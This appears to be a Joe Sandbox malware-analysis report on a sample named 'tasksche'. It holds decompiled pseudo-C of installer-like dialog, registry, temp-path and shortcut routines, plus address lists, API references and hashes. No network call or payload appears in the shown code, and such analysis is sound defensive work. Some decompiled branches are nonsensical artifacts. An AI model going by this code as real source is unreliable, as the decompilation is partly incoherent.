														__eflags = __ax - 0x5c;
														if(__ax == 0x5c) {
															L62:
															_push(__edi);
															L63:
															__eax = __ebp - 0x1040;
															_push(__ebp - 0x1040);
															__eax = E0041A7F7();
															L64:
															_pop(__ecx);
															_pop(__ecx);
															L65:
															__eax = __ebp - 0x1040;
															__eax = E0041CA4F(__ebp - 0x1040, 0x22);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags =  *((short*)(__eax + 2));
																if( *((short*)(__eax + 2)) == 0) {
																	__ecx = 0;
																	__eflags = 0;
																	 *__eax = __cx;
																}
															}
															__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
															__edi = GetDlgItem( *(__ebp + 8), 0x66);
															__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
															__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
															__eax = __ebp - 0x1040;
															__eax = E0041AA21(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
															}
															goto L160;
														}
														__eflags = __ax;
														if(__ax == 0) {
															L53:
															__eax = __ebp - 0x1c;
															__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
															__eflags = __eax;
															if(__eax == 0) {
																__ebp - 0x10 = __ebp - 0x1040;
																__eax = __ebp - 0x20;
																 *(__ebp - 0x10) = 0x1000;
																RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
																 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
																__eax = 0x7ff;
																__eflags =  *(__ebp - 0x10) - 0x7ff;
																if( *(__ebp - 0x10) < 0x7ff) {
																	__eax =  *(__ebp - 0x10);
																}
																__ecx = 0;
																__eflags = 0;
																 *((short*)(__ebp + __eax * 2 - 0x1040)) = __cx;
															}
															__eflags =  *(__ebp - 0x1040);
															if( *(__ebp - 0x1040) != 0) {
																__eax = __ebp - 0x1040;
																__eax = E0041A7AF(__ebp - 0x1040);
																__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
																if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
																	__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
																	_pop(__ecx);
																	_pop(__ecx);
																}
															}
															__edi = E0041A7AF(__edi);
															__eax = __ebp - 0x1040;
															__edi = __edi + E0041A7AF(__ebp - 0x1040);
															__eflags = __edi - 0x7ff;
															if(__edi >= 0x7ff) {
																goto L65;
															} else {
																__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
																goto L64;
															}
														}
														__eflags = __edi->i - 0x3a;
														if(__edi->i == 0x3a) {
															goto L62;
														}
														goto L53;
													}
													__eflags = __edi->i - 0x5c;
													if(__edi->i != 0x5c) {
														goto L50;
													}
													_t97 = __edi + 4; // 0x26
													__eax = _t97;
													__eflags =  *__eax;
													if( *__eax == 0) {
														goto L160;
													} else {
														_push(__eax);
														goto L63;
													}
												}
											case 4:
												__eflags =  *0x441874 - 1;
												__eflags = __eax - 0x441874;
												__edi->i = __edi->i + __ecx;
												__eflags = __edi->i & __dh;
												_push(es);
												 *__eax =  *__eax + __al;
												__eflags =  *__eax;
											case 5:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eflags = __eax;
												if(__eax == 0) {
													L82:
													 *0x441831 = 0;
													 *0x441830 = 1;
													goto L160;
												}
												__eax = __eax - 0x30;
												__eflags = __eax;
												if(__eax == 0) {
													 *0x441831 = 0;
													L81:
													 *0x441830 = 0;
													goto L160;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													goto L82;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax != 0) {
													goto L160;
												}
												 *0x441831 = 1;
												goto L81;
											case 6:
												__eflags =  *(__ebp + 0x10) - 4;
												if( *(__ebp + 0x10) != 4) {
													goto L92;
												}
												__eax = __ebp - 0x4440;
												__eax = E0041AA21(__ebp - 0x4440, L"<>");
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L92;
												}
												_push(0);
												goto L91;
											case 7:
												__eflags =  *(__ebp + 0x10) - 1;
												if(__eflags != 0) {
													L112:
													__eflags =  *(__ebp + 0x10) - 7;
													if( *(__ebp + 0x10) == 7) {
														__eflags =  *0x441874;
														if( *0x441874 == 0) {
															 *0x441874 = 2;
														}
														 *0x441870 = 1;
													}
													goto L160;
												}
												__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
												__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
												_push(0);
												__esi = L"%s%s%d";
												while(1) {
													_push( *0x4300c8);
													__ebp - 0x8c90 = __ebp - 0x1040;
													E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
													_push(__ebp - 0x1040);
													__eax = __edi->i();
													__eflags = __eax - 0xffffffff;
													if(__eax == 0xffffffff) {
														break;
													}
													_t146 = __ebp - 0x10;
													 *_t146 =  *(__ebp - 0x10) + 1;
													__eflags =  *_t146;
													_push( *(__ebp - 0x10));
												}
												__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
												__eflags =  *(__ebp - 0x4440);
												if( *(__ebp - 0x4440) == 0) {
													goto L160;
												}
												__eflags =  *0x44184a;
												if( *0x44184a != 0) {
													goto L160;
												}
												__eax = 0;
												 *(__ebp - 0x1440) = __ax;
												__eax = __ebp - 0x4440;
												__eax = E0041CA29(__ebp - 0x4440, 0x2c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													L108:
													__eflags =  *(__ebp - 0x1440);
													if( *(__ebp - 0x1440) == 0) {
														__ebp - 0x1bc90 = __ebp - 0x4440;
														E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
														__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
													}
													__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
													__eax = 0;
													 *(__ebp - 0x3440) = __ax;
													__ebp - 0x1440 = __ebp - 0x4440;
													__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L160;
													} else {
														 *0x441849 = 1;
														 *0x44183c = 1;
														__eax = EndDialog( *(__ebp + 8), 1);
														goto L112;
													}
												}
												__ecx = 0;
												__eflags =  *(__ebp - 0x4440) - __cx;
												if( *(__ebp - 0x4440) == __cx) {
													goto L108;
												}
												__eax = __ebp - 0x4440;
												while(1) {
													__eflags =  *__eax - 0x40;
													if( *__eax == 0x40) {
														break;
													}
													__ecx = __ecx + 1;
													__eax = __ebp + __ecx * 2 - 0x4440;
													__eflags =  *__eax;
													if( *__eax != 0) {
														continue;
													}
													goto L108;
												}
												__esi = __ecx + __ecx;
												__ebp + __esi - 0x443e = __ebp - 0x1440;
												__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
												_pop(__ecx);
												__eax = 0;
												__eflags = 0;
												_pop(__ecx);
												 *(__ebp + __esi - 0x4440) = __ax;
												goto L108;
											case 8:
												__eflags =  *(__ebp + 0x10) - 3;
												if( *(__ebp + 0x10) == 3) {
													__eflags =  *(__ebp - 0x4440);
													if(__eflags != 0) {
														__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
													}
													__edi = __ebp + 0xc;
													 *0x441854 = E0040D92D(__edi, __eflags);
												}
												 *0x44184b = 1;
												goto L160;
											case 9:
												__eflags =  *(__ebp + 0x10) - 5;
												if( *(__ebp + 0x10) != 5) {
													L92:
													 *0x44185c = 1;
													goto L160;
												}
												_push(1);
												L91:
												_push( *(__ebp + 8));
												__ecx = __ebp - 0x4440;
												__eax = E0040E46C(__ecx);
												goto L92;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp + 0x10) - 7;
												if( *(__ebp + 0x10) == 7) {
													 *0x441878 = 1;
												}
												goto L160;
											case 0xc:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
												__eflags = __eax - 0x46;
												if(__eax == 0x46) {
													 *0x441823 = 1;
												} else {
													__eflags = __eax - 0x55;
													if(__eax == 0x55) {
														 *0x441822 = 1;
													} else {
														 *0x441823 = 0;
														 *0x441822 = 0;
													}
												}
												goto L160;
											case 0xd:
												 *0x44185d = 1;
												__eax = __eax + 0x44185d;
												__ecx = __ecx + __ebp;
												 *0x7d830000 =  *0x7d830000 ^ __eax;
												__eflags =  *0x7d830000;
												goto L160;
										}
										L2:
										_t264 = E0040DCB8(_t322, _t264,  *(_t339 - 0x10));
										 *(_t339 - 0x10) =  *(_t339 - 0x10) + 0x2000;
										_t9 = _t339 - 0x18;
										 *_t9 =  *((intOrPtr*)(_t339 - 0x18)) - 1;
										if( *_t9 != 0) {
											goto L2;
										} else {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) & 0x00000000;
											goto L4;
										}
									}
									 *[fs:0x0] =  *((intOrPtr*)(_t339 - 0xc));
									return _t263;
								}
								goto L155;
							}
						}
					}
				}
			}

0x00000000
0x0040f0c2
0x0040f0c2
0x0040f0c6
0x00000000
0x0040f0cc
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x0040f405
0x0040f405
0x0040f421
0x0040f426
0x0040f42b
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90b
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x0040ec30
0x0040ec30
0x00000000
0x0040ec30
0x0040ec2a
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040e8dd
0x0040f437
0x0040f43f
0x0040f43f
0x00000000
0x0040f32e
0x0040f31f
0x0040f161
0x0040f0c6

APIs

_wcscpy.LIBCMT ref: 0040F152
_wcscpy.LIBCMT ref: 0040F171
_wcschr.LIBCMT ref: 0040F17F
_wcscpy.LIBCMT ref: 0040F19F
_wcscpy.LIBCMT ref: 0040F229
_wcscpy.LIBCMT ref: 0040F2E1
_wcscpy.LIBCMT ref: 0040F35E

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

SHChangeNotify.SHELL32(00001000,00000005,00000000,00000000), ref: 0040F3F0

Strings

.lnk, xrefs: 0040F321, 0040F331
", xrefs: 0040F157

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$ChangeNotify_wcschr_wcsncpy
String ID: "$.lnk
API String ID: 1911921660-4024015082
Opcode ID: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction ID: e9d5912a6b4b3542aee3cadb88dbd3b5a863ff0206024957ce050cac0ef3000c
Opcode Fuzzy Hash: bb3ca6cd81c2d3ad9077df71b8a1193f574709db9a1feafa84c70d00a6701fe0
Instruction Fuzzy Hash: 5191227280022899DF35DBA5CC49EEEB37CBB44304F4405BBE509F7181EB789AD98B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?), ref: 0040EEE6

Part of subcall function 0040A116: _wcslen.LIBCMT ref: 0040A11C
Part of subcall function 0040A116: _wcscat.LIBCMT ref: 0040A13B

_swprintf.LIBCMT ref: 0040EF22

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

SetDlgItemTextW.USER32 ref: 0040EF44
_wcschr.LIBCMT ref: 0040EF77
_wcscpy.LIBCMT ref: 0040EFBB
_wcscpy.LIBCMT ref: 0040EFE4
_wcscpy.LIBCMT ref: 0040EFF7
MessageBoxW.USER32(?,00000000,00000000,00000024), ref: 0040F027
EndDialog.USER32(?,00000001), ref: 0040F049

Strings

%s%s%d, xrefs: 0040EEFF, 0040EF19

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$DialogItemMessagePathTempText__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID: %s%s%d
API String ID: 1897388972-1000756122
Opcode ID: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction ID: 7c5ef0a1406295de31e953a15a9408ca88d5d0b5476cb7747de3243763a4baae
Opcode Fuzzy Hash: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction Fuzzy Hash: 325176728001199BDB21DF61DC44BEE77B8FB04308F0445BBEA09E7191E7789AE98F59

Uniqueness

Uniqueness Score: -1.00%

Function 004191D8 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004191D8(void* __ebx, void* __eflags, short* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t32;
				signed int _t33;
				signed int _t41;
				void* _t51;
				void* _t52;
				short* _t53;
				short* _t55;
				short* _t57;

				_push(_t43);
				_t57 = _a4;
				_push(_t52);
				_t53 = E0041CF3E(__ebx, _t51, _t52, 0x200 + E0041A7AF(_t57) * 0xc);
				_v12 = _t53;
				if(_t53 != 0) {
					_push(__ebx);
					E0041A7F7(_t53, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t41 = E0041A7AF(_t53);
					__eflags =  *_t57;
					while(__eflags != 0) {
						_t33 = E00411E81(__eflags, _t57, L"\r\n\r\n", 4);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t57 - _a4;
							if(_t57 <= _a4) {
								L13:
								 *((short*)(_t53 + _t41 * 2)) =  *_t57;
								_t41 = _t41 + 1;
								__eflags = _t41;
							} else {
								__eflags =  *_t57 - 0x20;
								if( *_t57 != 0x20) {
									goto L13;
								} else {
									__eflags =  *((short*)(_t57 - 2)) - 0x20;
									if( *((short*)(_t57 - 2)) != 0x20) {
										goto L13;
									} else {
										E0041A7F7(_t53 + _t41 * 2, L"&nbsp;");
										_t41 = _t41 + 6;
									}
								}
							}
						} else {
							_t55 = _t57 + 4;
							__eflags =  *_t55 - 0xd;
							if( *_t55 == 0xd) {
								_v8 = _v12 + _t41 * 2;
								while(1) {
									__eflags =  *((short*)(_t57 + 6)) - 0xa;
									if( *((short*)(_t57 + 6)) != 0xa) {
										goto L8;
									}
									E0041A7F7(_v8, L"<br>");
									_v8 = _v8 + 8;
									_t57 = _t55;
									_t55 = _t57 + 4;
									_t41 = _t41 + 4;
									__eflags =  *_t55 - 0xd;
									if( *_t55 == 0xd) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							_t53 = _v12;
							_t57 = _t57 + 2;
						}
						_t57 = _t57 + 2;
						__eflags =  *_t57;
					}
					_push(_a4);
					__eflags = 0;
					 *((short*)(_t53 + _t41 * 2)) = 0;
					E0041A506(_t41, _t53, _t57, 0);
					_t32 = _t53;
				} else {
					_t32 = _t57;
				}
				return _t32;
			}

0x004191dc
0x004191de
0x004191e1
0x004191f6
0x004191fa
0x004191ff
0x00419208
0x0041920f
0x0041921a
0x00419221
0x00419225
0x00419233
0x00419238
0x0041923a
0x0041927d
0x00419280
0x004192a4
0x004192a7
0x004192ab
0x004192ab
0x00419282
0x00419282
0x00419286
0x00000000
0x00419288
0x00419288
0x0041928d
0x00000000
0x0041928f
0x00419298
0x0041929f
0x0041929f
0x0041928d
0x00419286
0x0041923c
0x0041923c
0x0041923f
0x00419243
0x0041924b
0x0041924e
0x0041924e
0x00419253
0x00000000
0x00000000
0x0041925d
0x00419262
0x00419266
0x00419268
0x0041926c
0x0041926f
0x00419274
0x00000000
0x00000000
0x00000000
0x00419274
0x0041924e
0x00419276
0x00419276
0x0041927a
0x0041927a
0x004192ad
0x004192ae
0x004192ae
0x004192b8
0x004192bb
0x004192bd
0x004192c1
0x004192c7
0x00419201
0x00419201
0x00419201
0x004192cd

APIs

_wcslen.LIBCMT ref: 004191E3
_malloc.LIBCMT ref: 004191F1

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 0041920F
_wcslen.LIBCMT ref: 00419215
_wcscpy.LIBCMT ref: 0041925D

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00419209
 , xrefs: 00419292
<br>, xrefs: 00419255
, xrefs: 0041922D

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

